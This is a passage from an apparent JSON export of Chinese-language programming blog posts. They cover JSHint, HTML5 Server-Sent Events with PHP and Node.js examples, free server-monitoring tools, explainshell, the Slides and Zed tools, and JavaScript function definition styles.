替代方案"},{"content":"JSHint 是一個可以自動檢查 JavaScript 程式碼的工具，讓程式設計者在專案開發初期就可以即時修正潛在的錯誤。\n由於 JavaScript 這個程式語言的語法與結構非常彈性，不像 Java 或 C 語言那樣嚴謹，對於程式設計者而言，一開始會感覺很方便，不管怎麼寫都可以執行，但是當整個程式發展到一定規模的大小之後，JavaScript 這樣鬆散的結構會讓程式很容易出現一些 bugs，而且除錯與修正的工作也會變得非常困難。\nJSHint 就是為了解決這樣的問題而設計的工具，它可以在 JavaScript 程式設計初期，就自動偵測程式中可能潛在的問題，它會鉅細靡遺的告訴程式設計者所以有能出現問題的地方，像為定義的變數、陳述式結尾沒有加分號、變數沒有用 var 宣告、非數字的變數要用 === 或 !== 來判斷以避免自動轉型等，你只要把程式貼上 JSHint，它就會告訴你一大堆需要修改的地方。\n名稱：JSHint\n網址：https://jshint.com/\nJSHint 也有提供自訂選項的功能（configure），使用者可以指定要輸出哪一些警告訊息，或是指定 JavaScript 程式本身的環境類型（如 Browser 或 NodeJS）。\n根據 JSHint 網站的統計，所有透過 JSHinet 檢查的 JavaScript 程式碼中，只有 15% 左右的程式可以完全通過檢測，其餘的程式都被 JSHint 找出 bugs 或潛在性的問題，也就是說大部份的人所撰寫出來的程式碼，其實多少都會帶有一些問題，所以如果你需要撰寫較為大型的 JavaScript 程式，建議也可以使用 JSHint 來檢查一下。\n雖然 JSHint 這樣的靜態程式碼分析工具（static code analysis tool）可以檢查出許多類型的問題，但是它也無法保證程式本身的正確性與執行效能，而記憶體洩漏的問題也無法偵測出來，如果要解決這類的問題，就要配合 unit testing 或是 functional testing 的工具，另外再加上 code review。\n安裝 JSHint JSHint 本身也是一個開放原始碼的專案，除了使用網頁的介面之外，也可以安裝在自己的電腦中使用，若要安裝 JSHint 最簡單的方式就是透過 Node.js 的 npm 指令來安裝：\nnpm install jshint -g 安裝好之後，就可以使用 jshint 這個指令來檢測 JavaScript 程式了：\njshint myfile.js myfile.js: line 5, col 2, Missing semicolon. 1 error 設定 JSHint JSHint 會根據預設的設定來顯示它所偵測到的錯誤與警告，當然使用者也可以自訂檢測的規則。\n若要在自己安裝的 JSHint 環境中自訂檢測規則，總共有三種方式可以使用：\n撰寫設定檔後，以 --config 參數指定設定檔。 使用 .jshintrc 設定檔。 將設定寫在 package.json 的 jshintConfig 屬性中。 JSHint 在一開始執行時，會檢查輸入 JavaScript 檔案所在的目錄，看看是否有 .jshintrc 這個檔案，如果有發現這個檔案的話，就會自動載入其中的設定，如果沒有找到這個設定檔，就會往上一層目錄尋找，直到找尋至根目錄為止。如果輸入的檔案被指定為標準輸入（stdin），則 jshint 就不會嘗試去尋找與載入 .jshintrc。\n這樣的設計可以方便使用者針對不同的專案給予不同的 JSHint 檢測設定，只要將每個專案專屬的設定寫在專案目錄的 .jshintrc 設定檔中，不管在哪裡執行 jshint，它都會自動讀取對應的設定檔。\n設定檔的格式其實就是一般的 JSON，裡面指定各個 JSHint 選項是否要開啟，例如下面這個設定會讓 JSHint 對於 undefined 與 unused 變數提出警告，另外告訴 JSHint 說 MY_GLOBAL 是一個已經定義好的全域變數。\n{ \u0026#34;undef\u0026#34;: true, \u0026#34;unused\u0026#34;: true, \u0026#34;predef\u0026#34;: [ \u0026#34;MY_GLOBAL\u0026#34; ] } 其餘可用的選項，可以從 JSHint Options 中查詢。\n除了使用一般的設定檔之外，也可以將設定以特別的註解格式直接寫在 JavaScript 檔案中，適用於 JSHint 的註解格式是以 jshint 或 global 這兩個關鍵字開頭，然後接著一串以逗點分隔的設定，例如：\n/* jshint undef: true, unused: true */ /* global MY_GLOBAL */ 這裡以註解來設定的效用，跟上面 JSON 格式的設定檔相同。使用者可以使用單行或多行的註解來設定 JSHint。\n這類的註解設定影響範圍是屬於 function scoped 的，也就是說如果把這樣的註解放在函數中，那麼它的影響範圍就只限於該函數裡面的程式碼而已。\n以上是 JSHint 的簡略介紹，關於細部的設定可以參考 JSHint 官方的說明文件。\n","permalink":"https://blog.gtwang.org/web-development/jshint-javascript-error-detection/","summary":"\u003cp\u003e\u003ca href=\"https://jshint.com/\"\u003eJSHint\u003c/a\u003e 是一個可以自動檢查 JavaScript 程式碼的工具，讓程式設計者在專案開發初期就可以即時修正潛在的錯誤。\u003c/p\u003e\n\u003cp\u003e由於 JavaScript 這個程式語言的語法與結構非常彈性，不像 Java 或 C 語言那樣嚴謹，對於程式設計者而言，一開始會感覺很方便，不管怎麼寫都可以執行，但是當整個程式發展到一定規模的大小之後，JavaScript 這樣鬆散的結構會讓程式很容易出現一些 bugs，而且除錯與修正的工作也會變得非常困難。\u003c/p\u003e","title":"JSHint：自動檢查 JavaScript 程式碼，偵測錯誤的線上工具"},{"content":"Server-Sent Events 是一個已經被 W3C 納入 HTML5 標準的 API，它可以讓伺服器透過一般的 HTTP 協定主動更新瀏覽器的資料。\n傳統的網頁架構下，如果瀏覽器要持續接收來自於伺服器端的新資料時，通常都是透過 Polling、Long-Polling 或 Streaming 等方式來達成，而後來出現的 WebSocket 徹底解決了這個問題，不過除此之外，在 HTML5 標準中還有一個 Server-Sent Events 也可以處理這類型的問題。\nServer-Sent Events（簡稱 SSE）是一個 HTML5 中的標準 API，它提供一個跨平台與瀏覽器的資料傳輸方式，可以讓伺服器主動傳送資料給瀏覽器。\nSSE 基本的概念跟 WebSocket 有點類似，連覽器透過 SSE 來「訂閱」伺服器上的一個資料來源，每當伺服器有新資料產生的時候，就會傳送通知訊息給瀏覽器，以便及時更新瀏覽器的網頁內容。\nServer-Sent Events 與 WebSocket？ SSE 鮮為人知的原因主要是由於 WebSocket 功能實在太強大了，WebSocket 提供了雙向（bi-directional）且全雙工（full-duplex）的優異傳輸能力，這樣的架構非常適合用於線上遊戲、聊天程式或是各種需要即時雙向傳輸的應用，乍看之下 SSE 可以做到的事情，WebSocket 可以做得更好。\n不過在某些應用上，瀏覽器不太需要傳送資料給伺服器，瀏覽器只是負責接收資料而已，例如股市行情、即時新聞等，這個時候就可以使用 SSE 這種單向的傳輸方式，如果偶爾需要傳送少量的資訊給伺服器時，也可以使用傳統的 XMLHttpRequest 來處理。\n由於 WebSocket 所使用的是雙向全雙工的連線，所以需要特別支援 WebSocket 協定的網頁伺服器軟體才能讓它正常運作，而 SSE 則是一種架構在傳統的 HTTP 協定之上的傳輸方式，也就是說你可以在不需要加裝任何特別的通訊協定或伺服器軟體即可直接使用 SSE，另外 SSE 也有一些 WebSocket 所沒有的特性，例如自動重新連線、事件 ID 與傳送任意的事件等，這些都是 SSE 才有的優點。\n瀏覽器端實作 接下來我們要開始介紹如何使用 SSE，瀏覽器端在使用 SSE 的 API 前，要先確認瀏覽器是否支援，如果瀏覽器有支援，則以資料來源的網址作為參數，建立一個 EventSource 物件：\nif (!!window.EventSource) { var source = new EventSource(\u0026#39;stream.php\u0026#39;); } else { // 瀏覽器不支援 SSE，使用傳統的 xhr polling :( } 這裡如果網址是以完整的 URL 來指定的話，那麼其網址的 scheme、domain 與 port 都要與呼叫這個 API 的網頁一致，否則會因為安全性問題而無法正常運作。\n接著設定一個 message 事件的 listener：\nsource.addEventListener(\u0026#39;message\u0026#39;, function(e) { console.log(e.data); }, false); 當伺服器有新資料送出來的時候，onmessage 這個回呼函數就會被呼叫，而伺服器所送出來的資料就可以透過 e.data 來取得。\n另外你也可以另外加上連線建立與關閉的事件 listener：\nsource.addEventListener(\u0026#39;open\u0026#39;, function(e) { // 連線已建立 }, false); source.addEventListener(\u0026#39;error\u0026#39;, function(e) { if (e.readyState == EventSource.CLOSED) { // 連線已關閉 } }, false); SSE 很特別的一點是如果連線因為某些原因中斷了，它會自動在大約 3 秒後重新連線，而開發者也可以自己設定這個重新連線的等待時間（接下來的文章中會介紹）。\n以上就是瀏覽器端所有的程式碼，這樣設定好之後，瀏覽器就可以接收來自於伺服器的資料了。\n資料格式 接下來的工作就是伺服器要如何將資料傳送給瀏覽器了，SSE 定義了一些特別的資料傳輸格式，所有要從伺服器透過 SSE 傳輸的資料都要符合它所定義的格式。\n最基本的資料格式就是以 data: 開頭，加上資料的內容，最後以兩個換行字元 \\n\\n 結尾：\ndata: My message\\n\\n 如果要傳輸的資料量比較大，也可以將資料分成多行來傳輸，每一行資料都是以 data: 開頭，然後以一個換行字元 \\n 結尾（最後一行列外）：\ndata: first line\\n data: second line\\n\\n 連續的 data: 會被視為同一筆資料，這些資料傳送至瀏覽器時，只會觸發一個事件，而這些資料會以換行字元為分隔，合併為一個字串，以這個例子來說瀏覽器收到 的 e.data 會是 \u0026quot;first line\\nsecond line\u0026quot; 這樣的字串。如果想要除去這些換行字元，可以使用 e.data.replace(\u0026quot;\\n\u0026quot;,\u0026quot;\u0026quot;) 來將其置換掉。\nJSON 如果要傳送 JSON 格式的資料，可以這樣寫：\ndata: {\\n data: \u0026#34;msg\u0026#34;: \u0026#34;hello world\u0026#34;,\\n data: \u0026#34;id\u0026#34;: 12345\\n data: }\\n\\n 至於瀏覽器端則可以這樣處理接收到的 JSON 資料：\nsource.addEventListener(\u0026#39;message\u0026#39;, function(e) { var data = JSON.parse(e.data); console.log(data.id, data.msg); }, false); 指定事件 ID 如果要準確的區分每一個事件，可以使用 id: 指定每個事件的序號：\nid: 12345\\n data: first line\\n data: second line\\n\\n 設定事件 ID 之後，瀏覽器會自動紀錄最後一個接收到的事件 ID，一旦發生連線中斷的情況，在重新連線時，瀏覽器會自動在連線請求的表頭中加入一個 Last-Event-ID 欄位，告訴伺服器重新連線之後該從哪一個事件開始發送。\n重新連線等待時間 瀏覽器在連線中斷之後，大約會等待 3 秒左右的時間，才會重新建立連線，如果想要更改這個設定，可以使用 retry: 來指定等待的時間：\nretry: 10000\\n data: hello world\\n\\n retry: 所使用的單位是千分之一秒，所以這個例子就是讓瀏覽器等待 10 秒。\n指定事件名稱 伺服器中同一個資料來源可以藉由事件名稱的方式，同時發送許多不同的類型的資料，事件名稱是以 event: 來指定，而瀏覽器在接收到這樣的資料之後，就可以依據不同的事件名稱來做不同的處理。\n下面這個伺服器所產生的資料中，包含三種類型的事件，分別為一般性的（message）事件、使用者登入的（userlogon）事件與更新（update）事件：\ndata: {\u0026#34;msg\u0026#34;: \u0026#34;First message\u0026#34;}\\n\\n event: userlogon\\n data: {\u0026#34;username\u0026#34;: \u0026#34;John123\u0026#34;}\\n\\n event: update\\n data: {\u0026#34;username\u0026#34;: \u0026#34;John123\u0026#34;, \u0026#34;emotion\u0026#34;: \u0026#34;happy\u0026#34;}\\n\\n 在瀏覽器端則可以使用下面這樣的方式來處理這些事件：\nsource.addEventListener(\u0026#39;message\u0026#39;, function(e) { var data = JSON.parse(e.data); console.log(data.msg); }, false); source.addEventListener(\u0026#39;userlogon\u0026#39;, function(e) { var data = JSON.parse(e.data); console.log(\u0026#39;User login:\u0026#39; + data.username); }, false); source.addEventListener(\u0026#39;update\u0026#39;, function(e) { var data = JSON.parse(e.data); console.log(data.username + \u0026#39; is now \u0026#39; + data.emotion); }, false); 伺服器範例 這個是以 PHP 來實作的伺服器。\n\u0026lt;?php header(\u0026#39;Content-Type: text/event-stream\u0026#39;); header(\u0026#39;Cache-Control: no-cache\u0026#39;); // recommended to prevent caching of event data. /** * Constructs the SSE data format and flushes that data to the client. * * @param string $id Timestamp/id of this connection. * @param string $msg Line of text that should be transmitted. */ function sendMsg($id, $msg) { echo \u0026#34;id: $id\u0026#34; . PHP_EOL; echo \u0026#34;data: $msg\u0026#34; . PHP_EOL; echo PHP_EOL; ob_flush(); flush(); } $serverTime = time(); sendMsg($serverTime, \u0026#39;server time: \u0026#39; . date(\u0026#34;h:i:s\u0026#34;, time())); ?\u0026gt; 以下則是使用 Node.js 來實作的伺服器：\nvar http = require(\u0026#39;http\u0026#39;); var sys = require(\u0026#39;sys\u0026#39;); var fs = require(\u0026#39;fs\u0026#39;); http.createServer(function(req, res) { //debugHeaders(req); if (req.headers.accept \u0026amp;\u0026amp; req.headers.accept == \u0026#39;text/event-stream\u0026#39;) { if (req.url == \u0026#39;/events\u0026#39;) { sendSSE(req, res); } else { res.writeHead(404); res.end(); } } else { res.writeHead(200, {\u0026#39;Content-Type\u0026#39;: \u0026#39;text/html\u0026#39;}); res.write(fs.readFileSync(__dirname + \u0026#39;/sse-node.html\u0026#39;)); res.end(); } }).listen(8000); function sendSSE(req, res) { res.writeHead(200, { \u0026#39;Content-Type\u0026#39;: \u0026#39;text/event-stream\u0026#39;, \u0026#39;Cache-Control\u0026#39;: \u0026#39;no-cache\u0026#39;, \u0026#39;Connection\u0026#39;: \u0026#39;keep-alive\u0026#39; }); var id = (new Date()).toLocaleTimeString(); // Sends a SSE every 5 seconds on a single connection. setInterval(function() { constructSSE(res, id, (new Date()).toLocaleTimeString()); }, 5000); constructSSE(res, id, (new Date()).toLocaleTimeString()); } function constructSSE(res, id, data) { res.write(\u0026#39;id: \u0026#39; + id + \u0026#39;\\n\u0026#39;); res.write(\u0026#34;data: \u0026#34; + data + \u0026#39;\\n\\n\u0026#39;); } function debugHeaders(req) { sys.puts(\u0026#39;URL: \u0026#39; + req.url); for (var key in req.headers) { sys.puts(key + \u0026#39;: \u0026#39; + req.headers[key]); } sys.puts(\u0026#39;\\n\\n\u0026#39;); } 其對應的 sse-node.html 為：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; var source = new EventSource(\u0026#39;/events\u0026#39;); source.onmessage = function(e) { document.body.innerHTML += e.data + \u0026#39;\u0026lt;br\u0026gt;\u0026#39;; }; \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 關閉連線 在正常的狀況下，只要 SSE 的連線中斷之後，瀏覽器就會自動嘗試重新連線，而如果資料已經傳送完畢，就可以透過瀏覽器或伺服器端設定關閉連線，讓瀏覽器不用繼續嘗試重新連線。\n若要在瀏覽器端關閉連線，只要呼叫\nsource.close(); 這樣就可以了。\n而如果要在伺服器端中止連線的話，可以在連線時回傳非 text/event-stream 的 Content-Type，或是直接回傳非 200 OK 的回應（例如 404 Not Found），這兩種方式都可以避免瀏覽器繼續嘗試重新連線。\n安全性 根據 WHATWG 的說明，在使用 SSE 接收訊息時，應該要檢查訊息中的 e.origin 是否跟應用程式正確的來源相符合：\nsource.addEventListener(\u0026#39;message\u0026#39;, function(e) { if (e.origin != \u0026#39;http://example.com\u0026#39;) { alert(\u0026#39;Origin was not http://example.com\u0026#39;); return; } // ... }, false); 這樣可以避免被惡意的網站利用。\n參考資料 web.dev ","permalink":"https://blog.gtwang.org/web-development/stream-updates-with-server-sent-events/","summary":"\u003cp\u003eServer-Sent Events 是一個已經被 W3C 納入 HTML5 標準的 API，它可以讓伺服器透過一般的 HTTP 協定主動更新瀏覽器的資料。\u003c/p\u003e\n\u003cp\u003e傳統的網頁架構下，如果瀏覽器要持續接收來自於伺服器端的新資料時，通常都是透過 Polling、Long-Polling 或 Streaming 等方式來達成，而後來出現的 \u003ca href=\"/web-development/websocket-protocol/\"\u003eWebSocket\u003c/a\u003e 徹底解決了這個問題，不過除此之外，在 HTML5 標準中還有一個 Server-Sent Events 也可以處理這類型的問題。\u003c/p\u003e","title":"HTML5 的 Server-Sent Events 串流使用教學"},{"content":"這裡介紹幾個免費的伺服器或網路監控工具，可以讓管理者更容易掌控整個系統的狀態。\n如果可以在系統發生任何異常狀況時就立即察覺，對於一個網站或網路的管理者而言會是非常有用的，以下有許多開放原始碼的工具可以幫助系統管理者進行各項監控工作，你可以依照自己的需求選擇適合自己的來使用。\nMonit Monit 是一個開放原始碼的整合性工具，它不只會監控系統的狀態，在系統出現異常時，他還會根據設定採取一些補救措施，例如當資料庫的服務中斷時，你可以設定讓它嘗試重新啟動（restart），而通常這樣的問題也都是這樣處理的。\n如果你需要一次監控多台主機，就可以考慮使用 M/Monit（Monit 的進階版本），它提供了更完整的的監控功能，另外也有手機本的監控程式，讓你使用 iPhone 就可以及時掌握系統的狀態，不過缺點是這個 M/Monit 是要付費的。\n名稱：Monit\n網址：https://mmonit.com/monit/\n特點：支援自動修復\nGanglia Ganglia 是一個可擴充性的分散式系統監控工具，主要適用於各種高效能計算環境，例如叢集電腦（cluster）或格網（grid）計算環境等。在技術上 Ganglia 使用了許多通用性的資料格式與技術，加上強韌的實作，目前 Ganglia 已經被移植到各種的系統中，全球已經有數千台叢集電腦採用 Ganglia 作為監控工具。\n名稱：Ganglia\n網址：https://github.com/ganglia/\n特點：適用於大型叢集電腦、格網計算環境\nMunin Munin 是一個可以監控系統各項資訊的工具，將所有的資訊記錄下來之後並產生報表，以圖形的方式顯示在網頁上。\n它可以監控的項目很多，包含各種系統資訊、網路、硬碟、MySQL 資料庫、Apache 網頁伺服器等，由於它的 plugin 語法簡單，只需要幾行指令就可以建立一個 plugin，所以你可以很容易加入各種監控功能，甚至是跟系統不相干的也可以，例如天氣狀況。\n名稱：Munin\n網址：https://munin-monitoring.org/\n特點：可產生網頁圖表，易於自定監控 plugin。\nCacti Cacti 跟 Munin 類似，他跟 Munin 不同的地方在於它可以任意指定想要查看的資料區間（Munin 的區間是固定的），例如你可以查看最近 2 小時、4 小時或 6 小時的資料。\n名稱：Cacti\n網址：https://www.cacti.net/\n特點：類似 Munin，但可任意指定要查看的資料區間。\nNagios Nagios 是一個比較複雜的監控工具，在安裝與設定上比較有難度，不過相對的它也擁有非常豐富且強大的功能，這個工具比較適合一些有經驗的系統管理者使用。\nNagios 支援多主機的監控，而且也可以在出現問題時自動發送 email 或簡訊通知管理者，另外也可以像 Monit 一樣嘗試自動修復系統。\n名稱：Nagios\n網址：https://www.nagios.org/\n特點：功能豐富且強大，但安裝與設定較複雜。\nZabbix Zabbix 是一個打包好的監控工具，有出色的視覺化功能，另外也可以傳送 email、SMS 簡訊、即時訊息或發出聲音通知，如果管理者剛好在主機旁邊，就可以透過這樣的方式通知。\n名稱：Zabbix\n網址：https://www.zabbix.com/\n特點：視覺化功能、各種訊息通知。\nObservium Observium 是一個適用於 Linux、BSD 與 Cisco 網路設備的監控工具，他可以自動偵測網路上的設備，幫助你找出想要監控的目標。\nObservium 提供了詳細的圖表顯示功能，另外也可以結合 Nagios 或 Collectd 提供更多的功能與介面。\n名稱：Observium\n網址：https://www.observium.org/\n特點：適用於 Linux、BSD 與 Cisco 設備，有詳細的圖表顯示功能。\nZenoss Zenoss 是商業監控軟體 Zenoss Enterprise 的開放原始碼版本，由於他支援 Nagios plugin，所以任何 Nagios 的 plugin 都可以直接在上面使用，另外它的使用介面在設計上讓使用者很容易使用，且功能也很強大。\n名稱：Zenoss\n網址：https://www.virtana.com/service-observability/\n特點：支援 Nagios plugin，介面簡單容易使用。\nCollectd Collectd 與 Munin、Cacti 相似，都可以產生圖表，但是 Collectd 的效能與可移植性較好，也就是說 Collectd 很適合用於比較老舊或效能較差的伺服器中，甚至崁入式的系統（embedded system）也可以，它可以每 10 秒收取一次系統資訊，而不會影響正常的系統運作。另外你可以使用 C、Perl 或 Java 來撰寫 Collectd 的擴充功能。\n名稱：Collectd\n網址：https://collectd.org/\n特點：效能高，較不占系統資源，適合低階伺服器或崁入式的系統。\nArgus Argus 是用來監控網路的工具，支援 IPv4 與 IPv6，當發現網路異常時，會傳送通知訊息，若過一段時間還沒解決，它還會發送另一封訊息給另外一位管理者。\n名稱：Argus\n網址：http://argus.tcp4me.com/\n特點：專門監控網路，支援 IPv4 與 IPv6。\n","permalink":"https://blog.gtwang.org/useful-tools/free-server-and-network-monitoring/","summary":"\u003cp\u003e這裡介紹幾個免費的伺服器或網路監控工具，可以讓管理者更容易掌控整個系統的狀態。\u003c/p\u003e\n\u003cp\u003e如果可以在系統發生任何異常狀況時就立即察覺，對於一個網站或網路的管理者而言會是非常有用的，以下有許多開放原始碼的工具可以幫助系統管理者進行各項監控工作，你可以依照自己的需求選擇適合自己的來使用。\u003c/p\u003e","title":"免費的伺服器或網路監控工具整理"},{"content":"explainshell 這個線上工具可以將一串 Linux 指令分解，並依照 man pages 解釋每個指令與參數的意義，讓你快速了解整行指令的運作方式。\n有時候為了在 Linux 系統上處理一些問題，上網搜尋找到一些比較長的指令時，通常要在 man pages 中查詢指令中每一個參數的意義是很費時的，尤其是很多指令以管線（pipe）串在一起時，更是麻煩。\nexplainshell 是一個專門為這種問題而設計的工具，它可以解析整行指令，然後將 man pages 中對應的部份找出來，讓你省去在 man pages 中「翻箱倒櫃」的功夫。\n名稱：explainshell\n網址：https://explainshell.com/\n舉例來說，假設你看到這行指令：\nssh -i keyfile -f -N -L 1234:www.google.com:80 host 這是一行使用 SSH 建立 tunnel 的指令，如果不是常常使用的人，通常一開始看到這行指令大概都不曉得該如何使用，傳統上的作法都是使用 man ssh 指令，開啟 man pages 慢慢搜尋每個參數的意義。\n這裡我們將這行指令貼上 explainshell 之後，就可以看到這樣的畫面。\nexplainshell 會將指令中每一個參數分解開來，找出 man pages 中對應的說明，讓你很輕鬆就可以對每個參數的用法一目了然。\nexplainshell 本身也是一個開放原始碼的專案，使用的語言是 Python，如果想要自己架設一個 explainshell 伺服器，可以從 GitHub 上取得其原始碼，然後安裝在自己電腦上。\n","permalink":"https://blog.gtwang.org/linux/explain-linux-shell-command/","summary":"\u003cp\u003eexplainshell 這個線上工具可以將一串 Linux 指令分解，並依照 man pages 解釋每個指令與參數的意義，讓你快速了解整行指令的運作方式。\u003c/p\u003e\n\u003cp\u003e有時候為了在 Linux 系統上處理一些問題，上網搜尋找到一些比較長的指令時，通常要在 man pages 中查詢指令中每一個參數的意義是很費時的，尤其是很多指令以管線（pipe）串在一起時，更是麻煩。\u003c/p\u003e","title":"explainshell：解釋 Linux 指令與參數意義的線上工具"},{"content":"Slides 是一個免費的線上簡報製作工具，註冊之後就可以享有 250MB 的免費簡報空間，製作完成的簡報還可以直接在線上分享。\n一般的使用者只要在 Slides 網站上註冊之後，就可以立即享有 250MB 的免費簡報儲存與分享空間，而他的簡報製作介面雖然不像 Power Point 那像強大，但是基本文字與圖片排版等功能都有，對於一般性的技術簡報，應該都沒有問題。\nSlides 有提供一些漂亮而且簡潔的樣板，適用於各種類型的簡報。\n由於所有的簡報製作與播放都是在瀏覽器中執行，所以其實簡報本身都是使用網頁來排版的，Slides 也允許使用者直接編輯 HTML 程式碼，進行進階的排版，這對於程式設計師而言是一個不錯的功能。透過這樣的功能，我們可以使用 Vim 等工具，將程式碼排版上色之後，再貼上來。\n這樣就可以讓生硬的程式碼有比較好的呈現效果。\n另外 Slides 也支援 fragments 的功能，可以讓簡報中的文字或圖片分批顯示。\n簡報中的圖片或文字也可以任意移動。\n製作好的簡報，除了直接以網址分享之外，也可以使用 iframe 內崁至一般的網頁中，就像這樣：\n","permalink":"https://blog.gtwang.org/useful-tools/slides-online-tool/","summary":"\u003cp\u003e\u003ca href=\"https://slides.com/\"\u003eSlides\u003c/a\u003e 是一個免費的線上簡報製作工具，註冊之後就可以享有 250MB 的免費簡報空間，製作完成的簡報還可以直接在線上分享。\u003c/p\u003e\n\u003cp\u003e一般的使用者只要在 Slides 網站上註冊之後，就可以立即享有 250MB 的免費簡報儲存與分享空間，而他的簡報製作介面雖然不像 Power Point 那像強大，但是基本文字與圖片排版等功能都有，對於一般性的技術簡報，應該都沒有問題。\u003c/p\u003e","title":"Slides：免費線上簡報製作工具"},{"content":"Zed 是一個以 Google Chrome 為基礎的一個開放原始碼編輯器，可以直接開啟本機或是遠端的程式碼檔案進行編輯。\nZed 這個編輯器是使用單純的網頁技術（HTML5、CSS 與 JavaScript）所打造的，雖然使用的技術單純，但是他的功能卻很強大：\n語法突顯（syntax highlighting）：支援各種程式語言，包含：C、Clojure、CoffeeScript、C#、CSS、Dart、Erlang、Go、Haml、Haskell、HTML、ini files、Java、JavaScript、JSON、LogiQL、Lua、Markdown、Nix、PHP、Plist、Protobufs、Python、Ruby、Shell、XML。 程式碼自動補齊（code completion）：可自動補齊程式碼的關鍵字或是自訂的程式碼片段。 自動檢查程式碼（linting）：對於某些特定語言，可以自動檢查程式碼是否有錯誤，支援的程式語言有：JavaScript、CoffeeScript、JSON、Lua、CSS。 多重視窗（split-view）編輯：可以將編輯器分割成多個子視窗來同時編輯不同的檔案。 佈景主題（themes）：可選擇 light 或 dark 主題，而使用者也可以使用 CSS 自訂佈景主題。 App 名稱：Zed Code Editor\n適用瀏覽器：Google Chrome\n安裝網址：Chrome 線上應用程式商店\nYouTube 網站上有 Zed 的實際操作示範影片，雖然是網頁做成的編輯器，不過看起來跟一般本機編輯器沒什麼兩樣。\nZed 的特點 為了讓程式開發更有效率，Zed 在設計上跟一般的編輯器有一些不同，以下是它的主要特色。\n簡單的操作界面 為了降低認知負荷（cognitive load），Zed 在設計上盡量簡化各種使用者界面的操作方式：\n使用者可以使用 goto（Command-E/Ctrl-E）或檔案樹（Command-T/Ctrl-T）介面，快速找到自己需要的檔案。 Zed 編輯器的視窗非常簡潔，只有底部的一行資訊顯示目前所編輯的檔案，其餘的空間都留給編輯視窗。 結合新增檔案與開啟檔案的功能，如在使用 goto 介面開啟檔案時，選擇一個不存在的檔案，則 Zed 就會自動建立它，如果檔案所在的目錄也不存在，Zed 也會一併建立。 Zed 本身也有支援遠端伺服器檔案編輯功能，所以對於遠端 Linux 伺服器中的檔案，也可以使用 Zed 來編輯。 Zed 編輯器在關閉時，會將所有的編輯狀態紀錄在專案目錄下的 .zedstate 檔案內，包含視窗大小與位置、最近所用的指令、多重視窗狀態、游標位置與選取範圍、復原紀錄等，全部都會儲存起來儲存，在下一次開啟時也會自動載入這些資訊，所以使用者可以延續上次的狀態繼續編輯檔案。 開放原始碼 整個 Zed 編輯器完全都是以網頁技術（HTML、JavaScript 與 CSS）來開發的，而且開放所有的原始碼（MIT license），所以你可以依照自己的需要，隨意對其原始碼進行更改。其原始碼可以從 GitHub 上取得。\n如果不想更動到底層 Zed 的原始碼，使用者也可以使用 Zed 編輯器建立適用於 Zed 的擴充功能（例如新的程式語言模式、自訂指令、快速鍵與佈景主題等）。\nChrome App 因為 Zed 是以 Google Chrome 為基礎所建立的 Chrome App，所以他有一些 Chrome App 本身具有的優點：\n跨平台：Zed 可以在任何有安裝 Chrome 瀏覽器的平台上運行（包含 Chromebooks）。 安裝容易：只要在 Chrome 應用程式商店裡點一下滑鼠即可完成安裝。 自動更新：Chrome App 本身支援自動更新。 同步設定：藉由 Google 帳號的同步功能，可以自動讓不同台電腦的 Zed 編輯器設定保持同步。 同步資料：Zed 的「Notes」功能可以將資料儲存於 Google 雲端硬碟，並自動同步至每台電腦中。 ","permalink":"https://blog.gtwang.org/useful-tools/zed-chrome-based-text-and-code-editor/","summary":"\u003cp\u003e\u003ca href=\"https://zedapp.org/\"\u003eZed\u003c/a\u003e 是一個以 Google Chrome 為基礎的一個開放原始碼編輯器，可以直接開啟本機或是遠端的程式碼檔案進行編輯。\u003c/p\u003e\n\u003cp\u003eZed 這個編輯器是使用單純的網頁技術（HTML5、CSS 與 JavaScript）所打造的，雖然使用的技術單純，但是他的功能卻很強大：\u003c/p\u003e","title":"Zed : 以 Google Chrome 為基礎的開放原始碼編輯器"},{"content":"這裡介紹各種 JavaScript 函數的定義方式，有些方式很常見，但是有一些你可能沒看過。\n以下是在 JavaScript 中四種建立函數的方式：\n// 四種建立函數的方法 function declaration () {}; var funcExpression = function () {}; var namedFuncExpression = function named() {}; var fnConstructor = new Function (); 這些都是可以用來建立函數（Function）物件的方法，但是其中有些差異，以下我們將討論這些作法之間有什麼差別。\n函數宣告（Function Declaration） 函數宣告是最常見的用法：\nfunction fn () { // 函數內容 ... } 如果使用這樣的方式來定義函數，則在整個程式中同一個 scope 之內的任何地方都可以使用這個函數，就算在這個函數定義之前也沒問題，就像這樣：\n// 呼叫 fn() fn(); function fn () { // 函數內容 ... } 函數運算式（Function Expressions） 函數在 JavaScript 是一個一級物件（first class object），所以你可以用 JavaScript 的運算式（expression）來建立函數，而這樣的運算式就稱為函數運算式（function expressions）。\n用這種方式定義函數也很簡單，就把函數的宣告放在一般運算式的位置，這樣就可以建立一個函數了，例如：\n// 定義 fnExpr() 函數 var fnExpr = function () { // 函數內容 ... }; 除此之外，你也可以將這種方式應用在其他各種地方，例如放在括號中或是一元運算子之後：\n// 匿名函數運算式（anonymous function expressions） (function fnExpr2() {} ); !function fnExpr3() {} JavaScript 的函數運算式可分為具名與匿名兩種，具名函數運算式（named function expressions，簡稱 NFE）會在函數內部建立一個儲存自己名稱的變數，而這個變數在函數之外是看不到的：\nvar namedFuncExpression = function named() { return named.name; }; named(); // ReferenceError: named is not defined namedFuncExpression(); // 傳回 \u0026#34;named\u0026#34; 具名函數運算式對於在除錯時會非常有用，在 JavaScript 的除錯環境的 stack traces、call stacks 或 中斷點（breakpoints）列表中，如果碰到匿名函數大概只會顯示 anonymous 這樣沒有用處的名稱，如果是具名函數的話，就會清楚標示該函數的名稱，這對於除錯而言是很好用功能。\n對於 JavaScript 的函數式程式設計（functional programming）而言（例如 currying 與 partials），函數運算式也是非常關鍵的功能之一。\n函數關鍵字（Function Keyword） 最後一種方式就是直接使用 Function 這個關鍵字來建立函數物件，在使用時將參數與函數的內容依序傳入 Function，然後就可以建立一個函數物件了。\n這裡要注意的是，如果使用這樣的方式建立函數，不會建立任何的 closure，而在這個函數中只能存取全域（global）的變數或是存在於該函數內部的變數。\nvar add = new Function(\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;return a + b\u0026#39;); add(1, 2); // 輸出 3 var glbFoo = \u0026#34;global\u0026#34;; function scope() { var scpFoo = \u0026#34;scoped\u0026#34;, scop=Function(\u0026#39;console.log(typeof 